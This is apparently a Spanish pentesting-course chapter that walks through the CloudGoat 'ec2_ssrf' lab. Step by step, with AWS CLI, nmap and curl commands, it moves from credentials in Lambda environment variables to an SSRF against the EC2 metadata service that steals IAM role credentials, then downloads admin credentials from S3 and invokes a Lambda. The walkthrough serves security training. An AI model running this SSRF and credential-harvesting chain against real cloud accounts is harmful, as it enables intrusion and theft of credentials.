> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cpna/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cpna/tecnicas-ofensivas-contra-ec2/abusando-del-servicio-de-metadatos-imdsv1-por-medio-de-un-ssrf.md).

# Abusando del servicio de metadatos IMDSv1 por medio de un SSRF

{% hint style="danger" %}
¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el [CPNA - Curso Profesional de Pentesting Contra AWS](https://spartan-cybersec.com/cursos/pentesting-contra-la-nube-de-aws/). No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.
{% endhint %}

En este escenario comenzaremos con el usuario SOLUS que tiene bajos privilegios y luego de una enumeración sobre la infraestructura, lograremos identificar un aplicativo web que está alojado en un EC2 vulnerable a ataques SSRF. Luego de aprovechar esta vulnerabilidad, lograremos comprometer unas credenciales de acceso por medio del servicio de metadatos.

Primero, debemos desplegar el escenario con el siguiente comando:

```
./cloudgoat.py create ec2_ssrf
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2F5h3w6AswErM3pkjoyJyi%2Fimage.png?alt=media&amp;token=46cf86e3-2ffd-4d26-aae0-bb9799c2ebfb" alt=""><figcaption></figcaption></figure>

Luego de que finalice el despliegue del laboratorio, nos retornara lo siguiente:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FVRJzVOnBSEf5BcrLLa9t%2Fimage.png?alt=media&amp;token=7fc0db73-2205-43c1-bf6b-432ab9ed1508" alt=""><figcaption></figcaption></figure>

En la evidencia previa, podemos apreciar las credenciales de acceso para el usuario llamado Solus.

{% hint style="danger" %}
A partir de este momento, estaremos trabajando con el usuario <mark style="color:red;">**solus-ec2\_ssrf\_cgidysznrzllxi**</mark>.

Todos los comandos posteriores deben tener especificado el `--profile` con su respectivo nombre de perfil.
{% endhint %}

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

```
aws configure --profile solus
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FwgPPo51cwuEFqIwmdMwc%2Fimage.png?alt=media&amp;token=a2967dc3-04ed-493e-839a-28cfd3f04778" alt=""><figcaption></figcaption></figure>

El token se especificará dentro del archivo plano de credenciales.

```
aws sts get-caller-identity --profile solus
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FdMfZ1Yl05lToYCTxHp00%2Fimage.png?alt=media&amp;token=532c9903-666d-44fb-9194-7141040fbd78" alt=""><figcaption></figcaption></figure>

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

{% code overflow="wrap" %}

```
aws iam add-user-to-group --group-name Group-Root-Spartan --user-name solus-ec2_ssrf_cgidysznrzllxi --profile solus
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FR2c5cJoP22onOFlEYmBB%2Fimage.png?alt=media&amp;token=c4e14eff-e2db-45d4-8867-032e4ca9c332" alt=""><figcaption></figcaption></figure>

Vamos a listar las políticas para el usuario que será auditado:

```
aws iam list-attached-user-policies --user-name solus-ec2_ssrf_cgidysznrzllxi
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FGBX4Da8DH8LePyXyLeYX%2Fimage.png?alt=media&amp;token=db647323-f506-4484-bac5-ed51b72876a6" alt=""><figcaption></figcaption></figure>

Obteniendo información relevante para nuestra auditoria, es utilizando el ARN de la política del usuario auditado:

{% code overflow="wrap" %}

```
aws iam get-policy-version --policy-arn arn:aws:iam::037572360634:policy/cg-solus-policy-ec2_ssrf_cgidysznrzllxi --version-id v1
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FQM1zDYN3lRTvEpcc5dfI%2Fimage.png?alt=media&amp;token=a4820658-8c75-4c21-8493-e0ebcc002f2f" alt=""><figcaption></figcaption></figure>

Luego de identificar los permisos para el usuario Solus, ya podemos iniciar la auditoria de seguridad.

Vamos a enfocarnos en realizar una enumeración básica sobre el servicio de lambda.

Comenzamos con listando las funciones de lambda disponibles con el siguiente comando:

```
aws lambda list-functions --profile solus
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2Fy2lMnyXQeEOFkZ8aWgOj%2Fimage.png?alt=media&amp;token=a9240139-c436-48e6-ac2c-bed13c21f98d" alt=""><figcaption></figcaption></figure>

Hemos identificado en las variables de entorno, unas credenciales de acceso aparentemente para un EC2.

**Enlace de referencia:**

{% embed url="<https://docs.bridgecrew.io/docs/bc_aws_secrets_3>" %}

Vamos a intentar autenticarnos con estas nuevas credenciales encontradas:

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

```
aws configure --profile lambda
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2F5H6cV1VarpGpKsP5NIwd%2Fimage.png?alt=media&amp;token=7f9a7fcc-e69c-470e-bd8f-5e0dd3baf349" alt=""><figcaption></figcaption></figure>

```
aws sts get-caller-identity --profile lambda
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FeQLtLKuxsBsCj5E1gn0k%2Fimage.png?alt=media&amp;token=d4fbb610-83be-416c-84e1-324a59ac826a" alt=""><figcaption></figcaption></figure>

En este punto, podríamos lanzar un enumerate-iam para identificar los permisos para este nuevo usuario desconocido.

Teniendo en cuenta el nombre del usuario (`wrex-ec2_ssrf_cgidysznrzllxi`), podríamos decir que probablemente tenga privilegios en el servicio de EC2.

Así que vamos a ejecutar el siguiente comando para listar las instancias:

```
aws ec2 describe-instances --profile lambda
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FojGOwAmmX2xXa3rBaE8a%2Fimage.png?alt=media&amp;token=8fc314f3-a459-4fba-98af-b1901a929046" alt=""><figcaption></figcaption></figure>

Logramos identificar una instancia corriendo.

Vamos a realizar un escaneo de puertos y servicios sobre el PublicDnsName de la instancia previamente identificada.

```
nmap -sV ec2-3-87-227-98.compute-1.amazonaws.com
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2F3VGaHTduHjotNSiCa3kp%2Fimage.png?alt=media&amp;token=e64180cb-b6e0-4ce6-84cb-61c75d3d196c" alt=""><figcaption></figcaption></figure>

En la evidencia previa, podemos apreciar el puerto 80 con el servicio HTTP.

Por lo anterior, vamos a intentar realizar una petición GET sobre el portal web.

```
curl http://ec2-3-87-227-98.compute-1.amazonaws.com
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2F341uCc2qehaAm3bt641R%2Fimage.png?alt=media&amp;token=6e32c783-e474-42dd-987a-4457f98ac80a" alt=""><figcaption></figcaption></figure>

En este punto podríamos afirmar que el aplicativo cuenta con una vulnerabilidad de criticidad baja ya que está divulgando información sensible debido a una mala gestión de errores.

En el error podemos apreciar que se está utilizando tecnología de NodeJS y también se evidencia que es necesario especificar un parámetro llamado URL.

Por lo anterior, vamos a concatenarle a la URL el parámetro solicitado:

```
curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FRwcFP5UI4LJkpmtRfqHr%2Fimage.png?alt=media&amp;token=411e7f62-99fb-47c9-8308-8bd1cd71b852" alt=""><figcaption></figcaption></figure>

Luego de lo anterior, podemos apreciar que el aplicativo retorna un HTML con un mensaje totalmente diferente.

## ¿Qué es SSRF?

La falsificación de solicitudes del lado del servidor (también conocida como SSRF) es una vulnerabilidad de seguridad web que permite a un atacante inducir a la aplicación del lado del servidor a realizar solicitudes a una ubicación no deseada.

**Enlace de referencia:**&#x20;

{% embed url="<https://portswigger.net/web-security/ssrf>" %}

Vamos a validar si este sitio es vulnerable a ataques de SSRF por medio del parámetro URL:

```
curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=www.google.com
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FLNTc9qI77wzWZ28bHzWO%2Fimage.png?alt=media&amp;token=9ab37fdc-12a0-41b6-a353-755a75ce9159" alt=""><figcaption></figcaption></figure>

En la evidencia previa, podemos apreciar que el código HTML del sitio `www.google.com` fue añadido a nuestro portal web que está alojado en la instancia y esto quiere decir que efectivamente existe la vulnerabilidad SSRF sobre la EC2.

Ahora vamos a aprovecharnos de esta vulnerabilidad y vamos a realizar una petición sobre el servicio de metadatos de la instancia.

Los *metadatos de instancia* son datos sobre una instancia que se pueden utilizar para configurar o administrar la instancia en ejecución. Los metadatos de instancia se dividen en categorías, como, por ejemplo, nombre de host, eventos y grupos de seguridad.

**Enlace de referencia:**&#x20;

{% embed url="<https://docs.aws.amazon.com/es_es/AWSEC2/latest/UserGuide/ec2-instance-metadata.html>" %}

El servicio de metadatos de una EC2 puede ser consumido por medio del siguiente enlace: <http://169.254.169.254/latest/meta-data/>

{% hint style="info" %}
Cabe resaltar, que el servicio de metadatos solo puede ser accedido desde dentro de la instancia.
{% endhint %}

Teniendo en cuenta lo anterior, vamos a aprovecharnos de la vulnerabilidad SSRF para comunicarnos con el servicio de metadatos:

{% code overflow="wrap" %}

```
curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=http://169.254.169.254/latest/meta-data/
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2F0FWn7bNoE1syzLyqvBqf%2Fimage.png?alt=media&amp;token=ee98ee3c-2b3f-460a-84a8-bee1778119d0" alt=""><figcaption></figcaption></figure>

Teniendo en cuenta la evidencia previa, podemos afirmar que hemos explotado con éxito el SSRF contra el servicio de metadatos.

Ahora vamos a consumir el siguiente endpoint del servicio de metadatos encargado de retornar credenciales de acceso:

{% code overflow="wrap" %}

```
curl http://ec2-3-87-227-98.compute-1.amazonaws.com?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-ec2_ssrf_cgidysznrzllxi 
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FnNqWLVZjl27LtkLPckO9%2Fimage.png?alt=media&amp;token=0ea5cab3-337c-4bf1-86f4-8c58cb715cba" alt=""><figcaption></figcaption></figure>

Vamos a intentar autenticarnos con estas nuevas credenciales encontradas:

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

```
aws configure --profile ec2
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FgM6FhMFsagpigXre01iA%2Fimage.png?alt=media&amp;token=055d2956-9100-48e8-94e4-02552a1aacd1" alt=""><figcaption></figcaption></figure>

El token se especificará dentro del archivo plano de credenciales.

```
aws sts get-caller-identity --profile ec2
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FyWAQ5ZDDd2iUugnSKA3p%2Fimage.png?alt=media&amp;token=fb7916a4-cfc6-4b50-be88-bcca5ac95a62" alt=""><figcaption></figcaption></figure>

En este punto, debemos validar los permisos para este rol comprometido y esto lo podríamos hacer utilizando [Enumerate-IAM.py](/cpna/tecnicas-de-enumeracion-en-iam/enumeracion-automatizada-por-medio-de-fuerza-bruta/enumerate-iam.py.md)

Nosotros vamos a saltarnos ese paso de la enumeración para agilizar y enfocarnos únicamente en la explotación del escenario.

Los permisos para este nuevo rol comprometido son:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2F7UAvktZuD5LuYJYpP4fr%2Fimage.png?alt=media&amp;token=bd804fcf-1586-4bbd-8709-91c25c7ae782" alt=""><figcaption></figcaption></figure>

Uno de los permisos para este nuevo rol comprometido es el control total sobre el servicio de S3.

Vamos a realizar una enumeración sobre los Buckets con el objetivo de identificar información sensible dentro de ellos:

```
aws s3 ls --profile ec2
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2F1XwhEq6ezZhM5nIf7c7l%2Fimage.png?alt=media&amp;token=6480dc2c-0d7f-4580-a795-243067747594" alt=""><figcaption></figcaption></figure>

Luego de listar el servicio de s3, podemos apreciar un Bucket.

Vamos a listar el contenido de dicho Bucket:

```
aws s3 ls s3://cg-secret-s3-bucket-ec2-ssrf-cgidysznrzllxi --profile ec2
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FXZUF2s8aQ74HdUAsX4pr%2Fimage.png?alt=media&amp;token=e08ebb77-1588-4338-a5da-135ead034e5a" alt=""><figcaption></figcaption></figure>

Ahora hemos identificado un archivo de formato TXT.

Como tenemos control total sobre los Buckets, lo ideal sería descargar este archivo y visualizar su contenido.

{% code overflow="wrap" %}

```
aws s3 cp s3://cg-secret-s3-bucket-ec2-ssrf-cgidysznrzllxi/admin-user.txt ./ --profile ec2
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FXnym65Zq9GQVKpZxfO9a%2Fimage.png?alt=media&amp;token=be8a2ec4-eb73-40d7-96d2-6c72562386e9" alt=""><figcaption></figcaption></figure>

Luego de descargar el archivo alojado en el Bucket, podemos visualizar que contiene otras credenciales.

Vamos a intentar autenticarnos con estas nuevas credenciales encontradas:

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

```
aws configure --profile end
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FTQjxO3cel8o0qd6g3DZS%2Fimage.png?alt=media&amp;token=2ee91227-25c1-4439-b5bc-7f150e06af4c" alt=""><figcaption></figcaption></figure>

```
aws sts get-caller-identity --profile end
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FDHg9ZDFsTKIBVi27Jzmo%2Fimage.png?alt=media&amp;token=3b46eb03-20af-4205-94ad-b15ace395479" alt=""><figcaption></figcaption></figure>

En este punto, debemos validar los permisos para este rol comprometido y esto lo podríamos hacer utilizando [Enumerate-IAM.py](/cpna/tecnicas-de-enumeracion-en-iam/enumeracion-automatizada-por-medio-de-fuerza-bruta/enumerate-iam.py.md)

Nosotros vamos a saltarnos ese paso de la enumeración para agilizar y enfocarnos únicamente en la explotación del escenario.

Los permisos para este nuevo usuario comprometido son:

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FT9OaiXaCVB5eRRQcHrgd%2Fimage.png?alt=media&amp;token=b5a63bc8-9628-4845-851e-70bbb9dc8312" alt=""><figcaption></figcaption></figure>

Como podemos apreciar este usuario tiene la posibilidad de invocar funciones de lambda.

Por lo anterior, vamos a listar las funciones actuales de lambda:

```
aws lambda list-functions --profile end
```

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FY0zTHqQGth0YUGzflisW%2Fimage.png?alt=media&amp;token=a03d2f4d-0a37-46db-a9b1-cd66cbc37b9a" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
aws lambda invoke --function-name cg-lambda-ec2_ssrf_cgidysznrzllxi ./out.txt --profile end
```

{% endcode %}

<figure><img src="https://1420718843-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FjUr7ifmUiydm8bW32KgO%2Fuploads%2FCNKXo8pyBSqyhDq1tL6l%2Fimage.png?alt=media&amp;token=9a47e90d-5a2d-4439-ac1a-4699f17397ff" alt=""><figcaption></figcaption></figure>

En la evidencia previa, podemos apreciar que este desafio a llegado a su fin y esto es debido al mensaje que nos ha retornado la invocación de la lambda.
